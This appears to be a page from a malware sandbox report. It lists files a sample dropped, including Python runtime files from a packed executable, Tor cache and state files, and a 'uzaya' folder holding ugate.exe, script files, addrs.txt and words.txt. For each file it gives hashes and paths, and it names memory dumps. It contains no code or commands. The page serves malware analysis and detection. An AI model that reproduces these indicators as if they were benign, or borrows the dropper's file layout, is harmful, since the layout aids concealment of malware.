MD5 0f8e4992ca92baaf54cc0b43aaccce21
SHA1 c7300975df267b1d6adcbac0ac93fd7b1ab49bd2
SHA512 6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978
SSDEEP 768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
TLSH
T10B037C0B458418A4E657D53D97A64A2AC335B9240B60F2CB03D4C2BA3F6B7D6FB7C358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_psutil_windows.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\psutil\_psutil_windows.pyd
Size 69KB
SHA256 0035450801bd7d938e9e146c5ec28e619cb5a5f4a18cdc53ac7e9734c7f94f78
MD5 0a66d22d2ac4f9d41e1605b8d05de77b
SHA1 062de44628065f96d8137a2f04d1a88cc560b56b
SHA512 aa246c8d757a5be47e529889376faf9c94a5e377b20b418c4c7fa83e00c01060b01a887ebc662ab7bd42a6dac53abaac3a41b48b6a6f336d798c2ae782f80b5a
SSDEEP 768:axgqyAz7MqVIiOSzTVCeur2wTljgUd+mZnJGL0kKoPVMDw4xulnFn9mcBQ3S3X/:uZzwq2+SBRJdpZnJbPoPVM04YnUjHmC
TLSH
T121631895B35900F8C91B913D9EB26A37E7B2B091132657CF0160D68A0FA3BD36E7DB41
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pyarmor_runtime.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\pyarmor_runtime_000000\pyarmor_runtime.pyd
Size 625KB
SHA256 017493e88b1c38623344667a264cd42471437bb3178dda9f875cafc4073a0d38
MD5 5e65489fd7ed6dc7f49fb6c99e0472ad
SHA1 2801647aecf9d10253f2eb931b5911bce806a8f8
SHA512 37057f1541be94914d1d378e8d0354cec41df1b1c559096e2178dcef4bd5cef67fbe2da2411185dcaeb2eab825a4e50e6d740cd222d34abdd2c51d3eeb4a61a9
SSDEEP 12288:a9Vtet7AtRTshSvnctjdcg7fUoPtuyOVnE83aEUk:a9fQoctjdcg7fUoPtuyOVntbU
TLSH
T1FED4294BE1FA29D0E6B6D17C078BF2337C3ABA488160775B755CD3A127D0A5212E5F22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\python3.dll
Size 68KB
SHA256 a5c6a329698490a035133433928d04368ce6285bb91a9d074fc285de4c9a32a4
MD5 16855ebef31c5b1ebe767f1c617645b3
SHA1 315521f3a748abfa35cd4d48e8dd09d0556d989b
SHA512 c3957b3bd36b10c7ad6ea1ff3bc7bd65cdceb3e6b4195a25d0649aa0da179276ce170da903d77b50a38fc3d5147a45be32dbcfdbfbf76cc46301199c529adea4
SSDEEP 768:pQEotsskOv6pWVCB4p/uKlZPRQcFIc9qunV0Jku/YFI1Hu1wEBbCpVNyD6VdPxiD:/otssyKcunV8PjZIJy0i7SyWH1
TLSH
T14B635CD26B57F8A2D6F669FC38DD99CD142B12CC83258DDFA57893920F1A310A22734D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python313.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\python313.dll
Size 5.8MB
SHA256 0c0a66505093b6a4bb3475f716bd3d9552095776f6a124709c13b3f9552c7d99
MD5 b9de917b925dd246b709bb4233777efd
SHA1 775f258d8b530c6ea9f0dd3d1d0b61c1948c25d2
SHA512 f4bf3398f50fdd3ab7e3f02c1f940b4c8b5650ed7af16c626ccd1b934053ba73a35f96da03b349c1eb614bb23e0bc6b5cc58b07b7553a5c93c6d23124f324a33
SSDEEP 49152:fXGc3O7T4DKX+vLFMmKYxiAYNBD987KdJlI9HbeX2jrgQcw6Zc4h67mM+XDQ3bLi:Of42zJiwJl/YF7v3vaHDMiEN3Kr
TLSH
T1E9568D16729D40ADC97B8078CA038A4BF7B27C417F60534B61A6BB5E2F733624B6E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

select.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\select.pyd
Size 30KB
SHA256 78e5994c29d8851f28b5b12d59d742d876683aea58eceea1fb895b2036cdcdeb
MD5 20831703486869b470006941b4d996f2
SHA1 28851dfd43706542cd3ef1b88b5e2749562dfee0
SHA512 4aaf5d66d2b73f939b9a91e7eddfeb2ce2476c625586ef227b312230414c064aa850b02a4028363aa4664408c9510594754530a6d026a0a84be0168d677c1bc4
SSDEEP 384:7hhxm9tKLhuoNHfzzlvFy0ZZIJ9GckHQIYiSy1pCQ4HWSJIVE8E9VF0Ny6sC:tCytHf98uZIJ9Gx5YiSyvy2ES
TLSH
T1A7D28E47AF605846D923C972A8E28F26ED35B752875082CF3268C15D0F627C27B7B3E5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

unicodedata.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\unicodedata.pyd
Size 693KB
SHA256 2693c7ee4fba55dc548f641c0cb94485d0e18596ffef16541bd43a5104c28b20
MD5 0902d299a2a487a7b0c2d75862b13640
SHA1 04bcbd5a11861a03a0d323a8050a677c3a88be13
SHA512 8cbef5a9f2d24da1014f8f1ccbddd997a084a0b04dd56bcb6ac38ddb636d05ef7e4ea7f67a085363aad3f43d45413914e55bdef14a662e80be955e6dfc2feca3
SSDEEP 12288:FYGdLI/X77mvfldCKGihH32W3cnPSqrUgLIe:FYGW7qNxr3cnPXLIe
TLSH
T1F9E4F6D5BBCF8D26E69B363A48E3710F5171C2735F0A863BB2182361D85B3B449D582E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_2nqadqeq.4le.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2nqadqeq.4le.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

cached-certs

Path C:\Users\Admin\AppData\Roaming\tor\cached-certs
Size 20KB
SHA256 9f0f8f42f543eb5f7d6ef4ffd32ed35de0cbdf945f5a870b99f984535a96ca69
MD5 1f6ec7e4d7ac9d89805261daabe5563c
SHA1 df25648225041a971addf9be81b140bb859af9fd
SHA512 c6597fa67e532d3b31e144a1155cf8972548f17d45286d504d4fb57e3a93fb7aab6d6417dced188d4d2ac6d05e8b88208876e3f498c3cb1b211c3b59b08d8dfa
SSDEEP 384:N6M18P4XcVFg1hNb1thO4qX2V1J21htV/dnh4rVdZn91hKdUxU4DWVsZg1hDOKXw:NTOxDg5ZjOcUxV1ha99+W+OWsgt5BOWE
TLSH
T152926C620D40FDF8140AC728EC5B42CED727629B16B63C5602E7209BBD72ABB534F539
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cached-microdesc-consensus.tmp

Path C:\Users\Admin\AppData\Roaming\tor\cached-microdesc-consensus.tmp
Size 3.4MB
SHA256 b7a72459ad5bc3d947b360868b1bd1fc84202d8cc188e1bd70562ad30afa85f9
MD5 c823d6ad7c7288c5fce1e226831d2685
SHA1 a52b899448fd4a4de51d4bbcb13f2c0a7b50d534
SHA512 ff84c4ff84d864dcafb38bc987ff3bf6d1227e9be9bcfc5dea6e272ed1dc490e843ea37e241300065a3c7b772729a6ec5f8ca09d1ebcb94c54bde1ff1a9838c0
SSDEEP 12288:ql9xRG12/BDJY3o735YDYjJ807m0sVIUrCHZytM1tZasTjA8RUVzLeYdo9DY0pKZ:71CBD+fEjCgmY9HaM1t1Tjdc3qgEi7
TLSH
T1F9F554EA97124EEED22609DBE510FB7BF33F2725C2486B94296F8CFA7205091751093D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cached-microdescs.new

Path C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
Size 21.9MB
SHA256 f2548cd2607b6b9047a9dd1be2a11b6ecb778664a84c75c7cadca16905246e02
MD5 47577f41ab2d6af9e1d6cc2e6205d5af
SHA1 2dc8f2121f595ac1e6de0d48a59aab02bf88f7ac
SHA512 4d92ce1e964d7e42a9882e427b13dd79cfa5cfe77e1fda8cfbfec686b1656b0609ea05ecc07c8ddc71585f84fcf28e4fce97adbdcc45bdca53fecb68b53f8f8f
SSDEEP 24576:9QKjVmORVhW6VP5yVUuVUVBV6EV/VhVe8VrVotlOlVO/VMVqV5wVGVqV2M8VGrVh:wTonKZtaEasei9KAm
TLSH
T1BB37AEDA89AB00C25E05E7CDDC1603C3DF144A3A4B6041A172AAF5777F332AF855EA79
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cached-microdescs.new

Path C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
Size 36.7MB
SHA256 51253e61c6a61d7b9e30afcf895dbfa7b2438a78bf5a2d3d5da3657507fc8519
MD5 f09cf84a36ba207aa2cfd50783d2244f
SHA1 c5c4e357bf6a9af6f809808406ee862c77ec1040
SHA512 05065a1becc345c4991c520d9f8fce78934c2bd6845fa037dc35b95debe9644db0cdd1d5612063f6a27cc1ef5b1c5d57b7a68733d5128d3c7471866462e36e36
SSDEEP 24576:9QKjVmORVhW6VP5yVUuVUVBV6EV/VhVe8VrVotlOlVO/VMVqV5wVGVqV2M8VGrVi:wTonKZtaEasei9KAhPFP0eF7Th4yQ5gV
TLSH
T12087AEDA89AB00C15E05E7CDDC1603C3DF144A3A4B6041A172AAF57B7F332AF855EA79
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

state

Path C:\Users\Admin\AppData\Roaming\tor\state
Size 4KB
SHA256 5580fc1c4f9426633fa4a4ba469b37bbcfdccab948f848e200edc7c1a4c52b97
MD5 7fa19d4a3acdf45fd91ccde0c87ac558
SHA1 fc85c387e448d48d4787faa62ae8d6c285b5b7f2
SHA512 956841f66019bb4161edb5c8e8d25d99e2669c067a3424560a79dec71d65af0be497c7872a35cfffdc995b65bf8280ddc7d73cab80bf8d216e96bebf4122a126
SSDEEP 48:ckEb0XMYpaUbcBbsq17/jngJmiMDmaUb8YrtQGIFGLWkUuDXWttiwk:u4pHcBbsq17UBMDxgJLWkbXyi7
TLSH
T11481DF7FF168D183C593D5B1C1093B82ECC0BB5E01F176626E9A0B8E855581776E437C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GUID

Path C:\Users\Public\Documents\uzaya\GUID
Size 13B
SHA256 b68ba2e977587ba2ab9fb5c40345c6b80c60bd3fd034ed433c4fb8ed0724a9bb
MD5 883c7757e3763f973d17f24c3893fefa
SHA1 3b32d0ba731d9807f609a2b1ec5a5a1e2ce700cf
SHA512 a4645d8e245254c7c81e9fe1affbb014ac1627450461f66196ff30c983a562ab9e2f724b481be87e2a3ef377fb40dd34717037fb13cf47564f04e2d4cf04387f
MD5 SHA1 SHA512

Submit Download

addrs.txt

Path C:\Users\Public\Documents\uzaya\addrs.txt
Size 1.4MB
SHA256 9de315d175129958a383e63d31807d9a18c6799b3b951d254514440474820c12
MD5 b13217f3e7f63d23fd5def0734b95066
SHA1 eabd229940a8e05162ac111bf3f35cb4d90425f1
SHA512 51806ad13860a5078f68caa5132d42ff6d591e5f816f41bd0d92c2ea66fe50a75cae48c0b4f0c4a179f7a4a4e5594e97d68e43e1d60d0c652080021ded894d0a
SSDEEP 24576:/SPnmU2UBGNqozEiMuE3GDwmU3n044vlsm1x+0ef:VRxdaeV44dsma
TLSH
T13B6502BCF21DDB890D295EEEF225EDC723B931C11911025EC3EC956236BC42BA9C9497
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cinfo.inf

Path C:\Users\Public\Documents\uzaya\cinfo.inf
Size 4B
SHA256 ac574acb272cf4ae8eafb85af676d2dab0b5db6d14846007ddc5f43013d93f80
MD5 d6253f61d52354a4f85f341db456ae8c
SHA1 2d8fe6125c076aabf7bbbaea62045d36736a02c4
SHA512 602c38872eb9041381e3853274cbd22502935e02aceffd76760f9d8a438acc2764b49e98c6d7916c0570b0e498785517e996f3e792ab45950b536112dd21f255
MD5 SHA1 SHA512

Submit Download

ocafa.js

Path C:\Users\Public\Documents\uzaya\ocafa.js
Size 51KB
SHA256 054d1d92f9d5f91cb2dcb3a41c16145ad77f0765bbd475fb04f6aa20af2d3479
MD5 09f6e963ed4735f40ecb63596a1dcb36
SHA1 4241f00f23821500082929fff8ada13e725206a9
SHA512 6856c7c47387c352b535e3cfe825949083c0438093388086b4eb7ca94d94b436ef8f9a0a169a53303fb744de559069df88663a127a1e7cb57ab45a0543323fba
SSDEEP 1536:D6EpYWRXMB7eE7ohAbOW2UTqH1EKtOOLkM+P:mEXy76H1x7LkMC
TLSH
T154338D13EA4E9D77D7C2BD8A0FD781CAC3E7239A5231915DE22DA28D0D7E63231414B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ocafa.xml

Path C:\Users\Public\Documents\uzaya\ocafa.xml
Size 3KB
SHA256 bb6c1575e7e73d6e1b07d6748eee6bbc32ddeed2be2a1829c2900240a8873dfd
MD5 5adad9f005cee6eb8c244dbd97ca66d8
SHA1 fca6ef8eca4303723fc59469aea385559a4fe258
SHA512 9bbd84c1f8c78d8eb80093787c699e19393cf4fbc5e5fca494894d53956c9617ad9c28f7475558f081645a62da259bbf1b6912f2fc5a2c32a7b8383a5dc11843
TLSH
T11B715A53A7EE1119F2F36B2CAEB710618E677D555A38C46D00AC240DCBF3E6289607B7
MD5 SHA1 SHA512 TLSH

Submit Download

ufino.js

Path C:\Users\Public\Documents\uzaya\ufino.js
Size 32KB
SHA256 28b34567e7944bd3304afd7b173ab8d2dafb877e0e073eafb1832df2cfb17b6c
MD5 64a7bfa6badc6b89f2eb28a11f452219
SHA1 8825367f0602aeb7aa1638e9ca7c5db055fbcf5c
SHA512 2db776dd29afdff8ea3d00f0c05ad6e8b59600cfe94d0eab6ef06eb0d7f91d6f2c95b76b5b45f38878c33f1a004baa8cc09ece990f0670c5c17a8ce71a71f1e6
SSDEEP 768:MUPnzN8Ks8DjqaWRIPqnC7NEmBwOk3/vCG5btoMN70tu:MUPzDjqeyCpwzSGoMxP
TLSH
T11BE29E459196DDF68A926AEC7C1214CEF849F4DB11F86BF49614F0293DE0A378BB3138
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ufino.xml

Path C:\Users\Public\Documents\uzaya\ufino.xml
Size 3KB
SHA256 5cbfa3e18446434aa15a3ed44d636c5e8f2c05c77916a4383692e6223b5c5064
MD5 a9df84825ebc6524d52dcf1fcbb242f5
SHA1 2da179efd1dfedcf904983d682ed2495e37adff9
SHA512 0d53c6d1981c17279619e7734d7f73d47c662feb06c0bbced3618cc092346e40fb95945a0c54bf37030bd48d2bd3c3e89a30232fb6c7d91fdd73804540aa84df
TLSH
T1D871395367EE1119F2F36B2CAEB710618E677D555A38C46D00AC240DCBF3E6285607B7
MD5 SHA1 SHA512 TLSH

Submit Download

ugate.exe

Path C:\Users\Public\Documents\uzaya\ugate.exe
Size 8.6MB
SHA256 6b866c187a0dee2fb751a8990d50dc1ed83f68e025720081e4d8e27097067dc8
MD5 5d132fb6ec6fac12f01687f2c0375353
SHA1 8a14c93548156a67789a7da7f6dd4ea0ca91519e
SHA512 2d228d08abf30d9480b718c84fa007c477adb02b051b6c26407742e496163434ce891af6a2448ff7e063fe05a8325fe624beab472a62bccf418d3ae96dae6d56
SSDEEP 98304:wdv+gCCDJQT3poOlGzu4Y+x0/44wBc1RdhqwJglPtUCGGEW1:gKC+TtIOw21RdYUzps
TLSH
T10B960B03E63261DEC5FAC139952A7323F8B03CDD8A35E767455093A22B74B64AE3DB14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

words.txt

Path C:\Users\Public\Documents\uzaya\words.txt
Size 14KB
SHA256 d2bd2aeb50ac5df60c1eb10afcec2b680d5a8a9f2bbc74a15c45bf3525528334
MD5 51ca2264f5b3ad532a4d6dae175e1750
SHA1 3dc996beb38928c70fca66658c46b00092ae6532
SHA512 6c169854acd97daf85ebfbefb78ae9b1ce249e8c6a79c7eaa42bcf6c546e6e14bae25bbe989b2e2d07d9ba92a69908b320534b0b97e5ba305bd783273e8d1e55
SSDEEP 384:p05yXB6/x5qa8cmytcR8D6a0meg4bkTc3Nx:p05Vx5qa/mytcR8D6Geg4bkT2
TLSH
T1D462843E928290DA9EAE6BC5C0043097F22D50525F47350966CB6AED304EE7CFB09F72
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1964-210-0x000001EF71BD0000-0x000001EF71CD0000-memory.dmp

Download

memory/2364-92-0x00007FF792930000-0x00007FF792962000-memory.dmp

Download

memory/2364-145-0x00007FF792930000-0x00007FF792962000-memory.dmp

Download

memory/3720-69-0x0000012FCA7B0000-0x0000012FCA7D2000-memory.dmp

Download

memory/3720-62-0x0000012FB03E0000-0x0000012FB03F0000-memory.dmp

Download

memory/3720-61-0x0000012FB03E0000-0x0000012FB03F0000-memory.dmp

Download

memory/4864-144-0x0000000070180000-0x000000007022B000-memory.dmp

Download

memory/4864-143-0x00007FF792930000-0x00007FF792962000-memory.dmp

Download

memory/4864-112-0x0000000070180000-0x000000007022B000-memory.dmp

Download

memory/4864-111-0x00007FF792930000-0x00007FF792962000-memory.dmp

Download